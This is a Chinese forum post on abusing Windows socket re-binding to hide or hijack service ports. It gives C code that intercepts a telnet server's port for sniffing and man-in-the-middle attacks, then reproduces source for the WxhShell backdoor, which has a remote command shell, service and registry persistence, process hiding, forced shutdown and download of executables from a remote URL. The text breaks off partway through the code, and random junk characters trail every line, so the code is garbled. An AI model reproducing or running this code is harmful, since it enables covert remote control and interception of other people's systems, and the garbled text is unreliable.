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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hbg:}R=B<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xLmgr72D  
1fzHmD  
  saddr.sin_family = AF_INET; oe{K0.`  
=xq+r]g6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $ 'obj  
BQfq]ti  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _rU%DL?  
aX$Q}mgb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w( ^  
V"`t*m$  
  这意味着什么?意味着可以进行如下的攻击: C[xY 0<^B  
C>:'@o Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nPU=n[t8O  
%!X|X,b^O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kED1s's  
}[>X}"_e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *lT:P-  
X5gI'u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iir]M`A.-  
h vO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RU_wr<  
AYP*J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [, )G\  
:K)7_]y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Qmg2lP.)  
/eO :1c  
  #include DQy<!Wb+  
  #include 3\B 28m  
  #include t3// U#  
  #include    +338z<'Z!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p?v.42R:z  
  int main() 7B)m/%>3s  
  { `UK'IN.il  
  WORD wVersionRequested; gZHuyp(B  
  DWORD ret; ~stJO])a  
  WSADATA wsaData; 9z$fDs}.q  
  BOOL val; -/'_XR@1  
  SOCKADDR_IN saddr; L]kd.JJvy  
  SOCKADDR_IN scaddr; Qu;cl/&  
  int err; ,ut-Di=6  
  SOCKET s; 8%ea(|Wjg  
  SOCKET sc; f)x(sk  
  int caddsize; (E{}iq@2  
  HANDLE mt; g]Jt (aYK  
  DWORD tid;   y<5RV>"Vg  
  wVersionRequested = MAKEWORD( 2, 2 ); s ]XZQr%  
  err = WSAStartup( wVersionRequested, &wsaData ); o^ zrF  
  if ( err != 0 ) { ~9[O'  
  printf("error!WSAStartup failed!\n"); wr-/R"fX  
  return -1; SYE+A`a  
  } (xdC'@&  
  saddr.sin_family = AF_INET; }B e;YIhG  
   6Lc{SR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h4#y'E!,Z  
vk0b b3){D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1 ]A$  
  saddr.sin_port = htons(23); BICG@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZQk!Ia7  
  { J yO2P  
  printf("error!socket failed!\n"); xWnOOE$i  
  return -1; &.l^>#  
  } :;hz!6!  
  val = TRUE; HSk_'g(\0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y '[VZ$^i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "qrde4O  
  { Lc#GBaJ  
  printf("error!setsockopt failed!\n"); (QTF+~)  
  return -1; D"V(A\sZ  
  } 85T"(HhT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; er8T:.Py  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uCr :+"C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =(]Z%Q-V  
g\% Z+Dc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l0 8vF$k|d  
  { Fq$r>tmV  
  ret=GetLastError(); D3B]  
  printf("error!bind failed!\n"); n_4 r'w  
  return -1; PU,%Y_xR  
  } Mbp7%^E"A  
  listen(s,2); Y b=77(Q V  
  while(1) M#_|WL~  
  { 6_s(Kx>j  
  caddsize = sizeof(scaddr); q{ [!" ,  
  //接受连接请求 njc-=o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0NeIQr1N_  
  if(sc!=INVALID_SOCKET) Fw S>V2R  
  { Z]e`bfNnI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <2E|URo,#  
  if(mt==NULL) i!x>)E  
  { /&c2O X|Z  
  printf("Thread Creat Failed!\n"); :h(` eC  
  break; c: r25  
  } <5? pa3  
  } D4b-Y[/"  
  CloseHandle(mt); "[eH|z/  
  } }v's>Ae~p  
  closesocket(s); $J^fpXO  
  WSACleanup(); :KgH7s}  
  return 0; !E_Zh*lgm  
  }   hrm<!uKn  
  DWORD WINAPI ClientThread(LPVOID lpParam) *a\6X( ~  
  { ae2Q^yLA  
  SOCKET ss = (SOCKET)lpParam; D#AqZS>B  
  SOCKET sc; \{}dn,?Fv  
  unsigned char buf[4096]; /)T~(o|i  
  SOCKADDR_IN saddr; gW,hI>  
  long num; ^?$,sS ;Q  
  DWORD val; 9b/Dswxjx  
  DWORD ret; mU]VFPr5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :\vs kk),  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (Vr%4Z8  
  saddr.sin_family = AF_INET; `sCn4-$8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n m<?oI*\  
  saddr.sin_port = htons(23); f"KrPx!^b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NJ)Dw`|%|)  
  { j)2I+[aoB  
  printf("error!socket failed!\n"); ;F#(:-:  
  return -1; D8<C7  
  } WFiX=@SS  
  val = 100; *I)J%#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J09jBQ] R  
  { D3 yTN"  
  ret = GetLastError(); i1|>JM[V  
  return -1; ICb!AsL  
  } 6q\*{_CPB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UWF \Vx*)b  
  { _Z Sp$>)/  
  ret = GetLastError(); {u/1ph-  
  return -1; SfnQW}RGI  
  } 6,A|9UX=`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N^dQX,j  
  { H; NV?CD  
  printf("error!socket connect failed!\n");  <@<bX  
  closesocket(sc); MzD1sWmK  
  closesocket(ss); 0k5-S~_\  
  return -1; ~<?Zj  
  } HbegdbTJ  
  while(1) _Xt/U>N  
  { Xj 1Oxm 42  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?1D!%jfi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -;7xUNQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N<9 c/V  
  num = recv(ss,buf,4096,0); 1o`1W4Q  
  if(num>0) ,7LfvZj4[  
  send(sc,buf,num,0); s`jlE|jtN  
  else if(num==0) ^Hv&{r77  
  break;  xgcxA:  
  num = recv(sc,buf,4096,0); =I`S7oF  
  if(num>0) `Pvi+:6\Y  
  send(ss,buf,num,0); c,xdkiy3  
  else if(num==0) LUbj^iQ9  
  break; taE p   
  } NX& dJ 6a  
  closesocket(ss); F:!6B b C  
  closesocket(sc); w'K7$F51  
  return 0 ; "pM >TMAE  
  } +@QrGY  
hzsQK _;S  
;OlnIxH(W  
========================================================== MY,~leP&  
:C*}Yg  
下边附上一个代码,,WXhSHELL ,c&u\W=p  
f~NS{gL*  
========================================================== t`Kpbfk  
o8R_ Ojh  
#include "stdafx.h" '2.ey33V  
nQ\`]_C  
#include <stdio.h> ubM1Qr  
#include <string.h> ,)1C"'  
#include <windows.h> .;4N:*hY  
#include <winsock2.h> LP"g(D2'n  
#include <winsvc.h> 8\rca:cF   
#include <urlmon.h> p< 7rF_?W0  
vwT1bw.  
#pragma comment (lib, "Ws2_32.lib") C}h(WOcr`X  
#pragma comment (lib, "urlmon.lib") 1m~|e.g_'`  
<  o?ua}  
#define MAX_USER   100 // 最大客户端连接数 s9ix&m  
#define BUF_SOCK   200 // sock buffer HPt3WBRzS;  
#define KEY_BUFF   255 // 输入 buffer 9i\RdJv.  
|8'}mjs.Q  
#define REBOOT     0   // 重启 Gd 4S7JE  
#define SHUTDOWN   1   // 关机 AwZ@)0Wy  
#&'S-XE+  
#define DEF_PORT   5000 // 监听端口 KR ( apO  
y~+LzDV  
#define REG_LEN     16   // 注册表键长度 @@D/&}#F  
#define SVC_LEN     80   // NT服务名长度 T \/^4N`  
z:-{Y2F  
// 从dll定义API 4mDHAR%D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `,V&@}&"n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); > SZ95@Oh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b$'%)\('g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7KlL%\  
?ES{t4"  
// wxhshell配置信息 C1;uAw?\  
struct WSCFG { MGF !ZZ\  
  int ws_port;         // 监听端口 TgcCR:eL=  
  char ws_passstr[REG_LEN]; // 口令 wrkw,H  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5$U49j  
  char ws_regname[REG_LEN]; // 注册表键名 j EbmW*   
  char ws_svcname[REG_LEN]; // 服务名 :rr<#F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fQ9af)d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I%4eX0QY=z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TIp\-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NN7KwVg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >J9Qr#=H2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =_OJ 7K'  
C/!P&`<6  
}; :7(fBf5  
vVBWhY]  
// default Wxhshell configuration S_sHwObFu|  
struct WSCFG wscfg={DEF_PORT, bmHj)^v 5]  
    "xuhuanlingzhe", 3mo<O}}  
    1, ?.,F3@W "  
    "Wxhshell", bzG vnaTt  
    "Wxhshell", |Gq3pL<jkC  
            "WxhShell Service", "I=Lbh-`  
    "Wrsky Windows CmdShell Service", r`ftflNh(  
    "Please Input Your Password: ", D Z~036  
  1, i{}m 8K)  
  "http://www.wrsky.com/wxhshell.exe", "'DPb%o  
  "Wxhshell.exe" "A[. 7w  
    }; p!E*A NwX  
@[D5{v)S  
// 消息定义模块 R Q 8"vF#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]#N8e?b,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G$)q% b;Lz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \ $TM=Ykj  
char *msg_ws_ext="\n\rExit."; c CjN8<  
char *msg_ws_end="\n\rQuit."; FpB3SJ6 B  
char *msg_ws_boot="\n\rReboot..."; 0]ai*\,W7~  
char *msg_ws_poff="\n\rShutdown..."; y@}WxSK*0  
char *msg_ws_down="\n\rSave to "; K z^.v`  
Zc";R!At  
char *msg_ws_err="\n\rErr!"; M\ wCZG  
char *msg_ws_ok="\n\rOK!"; #}6~>A  
{dh@|BzsbH  
char ExeFile[MAX_PATH]; e<DcuF<ZS  
int nUser = 0; &gh>'z;`r  
HANDLE handles[MAX_USER]; PYCG#U  
int OsIsNt; 2n"-~'3\  
D!,'}G #  
SERVICE_STATUS       serviceStatus; DW,Z})9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >8NUji2I  
'QpDx&~QP  
// 函数声明 9QD+  
int Install(void); Us[F@  
int Uninstall(void); ^K<!`B  
int DownloadFile(char *sURL, SOCKET wsh); KfK5e{yT  
int Boot(int flag); ]'<}kJtN.  
void HideProc(void); ;Gu(Yoa}y  
int GetOsVer(void); -{oZK{a1  
int Wxhshell(SOCKET wsl); 8&hxU@T~  
void TalkWithClient(void *cs); 4<EC50@.  
int CmdShell(SOCKET sock); 8VpmcGvc3  
int StartFromService(void); A{3nz DLI  
int StartWxhshell(LPSTR lpCmdLine); e[Z-&'  
tPk> hzW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K=4|GZ~p}`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y|#< kS  
fHuWBC_YO  
// 数据结构和表定义 ocS}4.a@  
SERVICE_TABLE_ENTRY DispatchTable[] = Dl?:Mh  
{ |]HA@7B  
{wscfg.ws_svcname, NTServiceMain}, ZKS]BbMZa  
{NULL, NULL} Q*f0YjH!  
}; dF&@q,  
/+<G@+(  
// 自我安装 Cpn!}!Gnf  
int Install(void) V\c`O  
{ ubKp P%Z  
  char svExeFile[MAX_PATH]; -LFk7a  
  HKEY key; 6/0bis H  
  strcpy(svExeFile,ExeFile); 9+Wf*:*EW  
*aYuuRx  
// 如果是win9x系统,修改注册表设为自启动 5o^\jTEl^  
if(!OsIsNt) { {XXnMO4uR;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '~{kR=+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PmE 8O  
  RegCloseKey(key); R<r,&X?m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y?iW^>|?L=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fndH]Yp  
  RegCloseKey(key); WQ{^+C9g'1  
  return 0; Co/04F.  
    } 5sB~.z@  
  } #8WHIDS>  
} GG4FS  
else { (F*y27_u  
$GD Q1&Z  
// 如果是NT以上系统,安装为系统服务 ;6=*E'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [t?:CgI)E  
if (schSCManager!=0) wEl/s P  
{ "JgwL_2  
  SC_HANDLE schService = CreateService 3my_Gp  
  ( FW4#/H  
  schSCManager, u&j_;Y!6  
  wscfg.ws_svcname, <. V*]g/;  
  wscfg.ws_svcdisp, uOx"oR|  
  SERVICE_ALL_ACCESS, 7#P Q1UWl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^_=bssaOd  
  SERVICE_AUTO_START, bc6|]kB:  
  SERVICE_ERROR_NORMAL,  ,}^FV~  
  svExeFile, pWeD,!f  
  NULL, yi<H }&  
  NULL, Bl+PJ 0  
  NULL, dFk$rr>q  
  NULL, ^HWa owy=  
  NULL >4?735f=x  
  ); ,H] S-uK~  
  if (schService!=0) W#L/|K!S  
  { AZ. j>+0xx  
  CloseServiceHandle(schService); w*7wSP  
  CloseServiceHandle(schSCManager); A ? [Wfq|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LKM;T-  
  strcat(svExeFile,wscfg.ws_svcname); fHgvh&FU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \ Ju7.3.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N1JM[<PP  
  RegCloseKey(key); wd2z=^S~  
  return 0; r_Pi)MPc  
    } v+DXs!O{  
  } O]?PC^GGY  
  CloseServiceHandle(schSCManager); WS\Ir-B  
} 15kkf~Z<t  
} *dx E (dP  
dTQW/kAHQ  
return 1; -=2V4WU~  
} z7HM/<WY  
Eu[/* t+l  
// 自我卸载 Eo0/cln|  
int Uninstall(void) $AdBX}{  
{ O-n JuZJgX  
  HKEY key; [`!%u3  
` c"  
if(!OsIsNt) { sc y_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CTQJ=R"  
  RegDeleteValue(key,wscfg.ws_regname); 1P G"IaOb  
  RegCloseKey(key); )< p ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,#j'~-5  
  RegDeleteValue(key,wscfg.ws_regname); {vp*m :K  
  RegCloseKey(key); ZQ_AqzT3D  
  return 0; sL#MYW5E  
  } 2u(G:cR  
} G BM8:IG \  
} [-VIojs+u  
else { ~P'i /*:  
nNh5f]]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {=ATRwUL  
if (schSCManager!=0) EvF[h:C2  
{ k\-h-0[|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8"o@$;C  
  if (schService!=0) m{r#o?  
  { zxeT{AFPr?  
  if(DeleteService(schService)!=0) { gzN51B=D  
  CloseServiceHandle(schService); . Gb!mG  
  CloseServiceHandle(schSCManager); _IWLC{%V  
  return 0; ZWQ/BgKB  
  } W"&,=wvg2  
  CloseServiceHandle(schService); xL"O~jTS  
  } 0!M'z  
  CloseServiceHandle(schSCManager); 6i@* L\ Dl  
} e/}4Pt  
} $CZ'[`+  
-\2hSIXj  
return 1; 0B: v0 R  
} %Rk DR  
wZWAx  
// 从指定url下载文件 <6X*k{  
int DownloadFile(char *sURL, SOCKET wsh) hw=~ %f;  
{ HEw&'  
  HRESULT hr; "<LWz&e^^  
char seps[]= "/"; BAtjYPX'w  
char *token; /@I`V?Q!a  
char *file; <,\U,jU _  
char myURL[MAX_PATH]; 1x%B`d  
char myFILE[MAX_PATH]; 9*r^1PRc  
M{4XNE]m  
strcpy(myURL,sURL); KtGbpcS$f  
  token=strtok(myURL,seps); O&,8X-Ix  
  while(token!=NULL) <T&v\DN  
  { I5 qrHBJ >  
    file=token; /Q_ Dd  
  token=strtok(NULL,seps); mhB2l/  
  } '.k'*=cq0  
c3r`T{Kf  
GetCurrentDirectory(MAX_PATH,myFILE); b`@J"E}  
strcat(myFILE, "\\"); ` 46z D ?  
strcat(myFILE, file); T"<)B^8f  
  send(wsh,myFILE,strlen(myFILE),0); 'b y+hXk  
send(wsh,"...",3,0); @0d"^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dCe LW  
  if(hr==S_OK) O8 SE)R~  
return 0; Keem \/  
else k81%$E  
return 1; m xqY  
eW;3koE  
} 72 |O&`O  
5~j#Z (}u  
// 系统电源模块 "%p7ft  
int Boot(int flag) "%\hDL;  
{ 9bspf {  
  HANDLE hToken; Eku  9u  
  TOKEN_PRIVILEGES tkp; G? XS-oSv  
?^W1WEBm  
  if(OsIsNt) { 1GqSY|FSGp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ex6R=97uA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _{-[1-lN5_  
    tkp.PrivilegeCount = 1; tRZ4\Bu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y~e)3e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D:f=Z?L)>  
if(flag==REBOOT) { X%3?sH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^ nI2<P  
  return 0; Fxc_s/^=t  
} _DH^ K 9,9  
else { sRA2O/yKCE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "RN] @p#m  
  return 0; EK Vcz'w  
} P_w4 DU  
  } 1^^8,.'  
  else { a4*976~![  
if(flag==REBOOT) { ir/uHN@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N+@ Ff3M  
  return 0; 5af0- hj  
} (+[%^96   
else { -1RMyVx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W(R~K -  
  return 0; f?51sr  
} q]I aRho  
} j~G(7t  
b%%r`j,'JE  
return 1; h]s~w  
} t15{>>f4>  
75zU,0"j  
// win9x进程隐藏模块 .JXEw%I@  
void HideProc(void) dN)8r  
{ %,_ZVgh0  
Z17b=x Jw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8c+V$rH_  
  if ( hKernel != NULL ) d#a/J.Z$A  
  { N=KtW?C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W.MZN4=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  3Iv^  
    FreeLibrary(hKernel); {zvaZY|K"  
  } /*T^7Y&  
z3K$gEve  
return; $t.oGd@N  
} jts0ZFHc-  
0Eb4wupo  
// 获取操作系统版本 _ZK^J S  
int GetOsVer(void) Rz g;GH  
{ k`8O/J  
  OSVERSIONINFO winfo; LSou]{R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p%>sc  
  GetVersionEx(&winfo); L AasmQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OW4j!W  
  return 1; X$we\t  
  else S F*C'  
  return 0; W3tin3__  
} ]yf?i350  
4@@Sh`E:  
// 客户端句柄模块 dDpAS#'s\  
int Wxhshell(SOCKET wsl) | 6JKB'  
{ KHML!f=mu  
  SOCKET wsh; z/ 1$G"  
  struct sockaddr_in client; ZyUcL_   
  DWORD myID; ='o3<}  
>0{}tRm-P&  
  while(nUser<MAX_USER) 0vm>*M*p  
{ wS*r<zj  
  int nSize=sizeof(client); 3 y}E*QE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &< BBP n@\  
  if(wsh==INVALID_SOCKET) return 1; OB(o OPH  
= UH3.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %;k Hnl  
if(handles[nUser]==0) "=Br&FN{|  
  closesocket(wsh); "#r)NYq`"|  
else mZR3Hl$  
  nUser++; 1y'Y+1.<  
  } P"_/P8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wsWFD xR  
(?|M'gZ  
  return 0; 90<g=B  
} GEWjQ;g  
."$t&[;s  
// 关闭 socket '[{<a Eo  
void CloseIt(SOCKET wsh) G tI )O}  
{ b"h'7C/  
closesocket(wsh); y!#-[K:  
nUser--; AEyvljv  
ExitThread(0); k8w\d+!v  
} p\w<~ pN[  
p'K`K\X  
// 客户端请求句柄 7Z< ~{eD,  
void TalkWithClient(void *cs)  'o-4'  
{  ? }M81  
a `R%\@1  
  SOCKET wsh=(SOCKET)cs; @sXv5kZ:  
  char pwd[SVC_LEN]; 8<6H2~5<  
  char cmd[KEY_BUFF]; MVYd\)\o  
char chr[1]; YMX9Z||  
int i,j; h[mT4 e3c  
.Kb3VNgwvm  
  while (nUser < MAX_USER) { L'= \|r  
RxP H[7oZ  
if(wscfg.ws_passstr) { -'&/7e6>y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %j7b0pb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); za_b jE  
  //ZeroMemory(pwd,KEY_BUFF); N6Mr#A-{  
      i=0; X94a  
  while(i<SVC_LEN) { !zA@{gvEc  
}s~c(sL?;  
  // 设置超时 |6E_N5~  
  fd_set FdRead; SI}s  
  struct timeval TimeOut; 9bM\ (s/  
  FD_ZERO(&FdRead); cM#rus?)+  
  FD_SET(wsh,&FdRead); [4z,hob  
  TimeOut.tv_sec=8; 2*: q$c  
  TimeOut.tv_usec=0; 40t xZFQ0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R_!.vGhkN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [l23b{  
QQ(}71U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]S6Gz/4aV+  
  pwd=chr[0]; EW `hL~{  
  if(chr[0]==0xd || chr[0]==0xa) { 5n@YNaoIb  
  pwd=0; GcBqe=/B!  
  break; KdVKvs[  
  } *1)>He$qL  
  i++; M>AxVL  
    } }Hg G<.H>  
Tq1\  
  // 如果是非法用户,关闭 socket ^CkMk 1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6nx\|F  
} :`bC3Mr  
w~66G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y4^u&0}0$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D-gH_ff<]9  
4#$#x=:  
while(1) { \@<7Vo,  
K`4lL5oH  
  ZeroMemory(cmd,KEY_BUFF); a|ufm^ F  
4V+bE$Wu  
      // 自动支持客户端 telnet标准   8Y($ F2  
  j=0; S6~y!J6Ok4  
  while(j<KEY_BUFF) { (@?mm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dOhSqx56  
  cmd[j]=chr[0]; m^A2 8X7  
  if(chr[0]==0xa || chr[0]==0xd) { {;yO3];Hqw  
  cmd[j]=0; {2\Y%Y'}*  
  break; _#8hgwf>  
  } 3c<aI =$^  
  j++; sZ `Tv[  
    } U&^q#['  
&o:5lxR{  
  // 下载文件 gQnr.  
  if(strstr(cmd,"http://")) { ,-UF5U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }3Es&p$9  
  if(DownloadFile(cmd,wsh)) z*.AuEK?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xl}rdnf}  
  else iJs~NLCgVu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h@,ja  
  } DX_ mrG  
  else { z:QDWH  
"hIYf7r##  
    switch(cmd[0]) { g4?2'G5m?  
  xR+vu>f  
  // 帮助 |XyX%5p*  
  case '?': { %>|FJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ptCF))Zm'  
    break; 2#wnJdr6E  
  } c{q+h V=  
  // 安装 (.J/Ql0Y  
  case 'i': { o[C^z7WG0  
    if(Install()) J Enjc/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {cK<iQJ  
    else sI>w#1.m/&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wkg4I.  
    break; z/7q#~J,  
    } !=9x=  
  // 卸载 aV;|2}q "  
  case 'r': { pbMANZU[  
    if(Uninstall()) 15:9JVH3D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9{Hs1 MD[  
    else [$y(>] ~.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G]lGoa}]`u  
    break; T KZtoQP%  
    } :V/".K-:J  
  // 显示 wxhshell 所在路径 +gl\l?>sr  
  case 'p': { Ev fvU:z  
    char svExeFile[MAX_PATH]; F^dJ{<yX  
    strcpy(svExeFile,"\n\r"); g/GI'8EMj  
      strcat(svExeFile,ExeFile); WjV Bz   
        send(wsh,svExeFile,strlen(svExeFile),0); !BQt+4G7  
    break; (KQLh,h7  
    } xm m,- u  
  // 重启 /@Lk H$  
  case 'b': { ?9 huuJ s7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4D65VgVDM  
    if(Boot(REBOOT)) d`sZ"8}j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h,LSqjf "  
    else { i?T-6{3I  
    closesocket(wsh); H,> }t S  
    ExitThread(0); ieyK$q  
    } b4L7M1l  
    break; E\iK_'#  
    } ,%pCcM)  
  // 关机 %.bDK}  
  case 'd': { yfl?\X{  
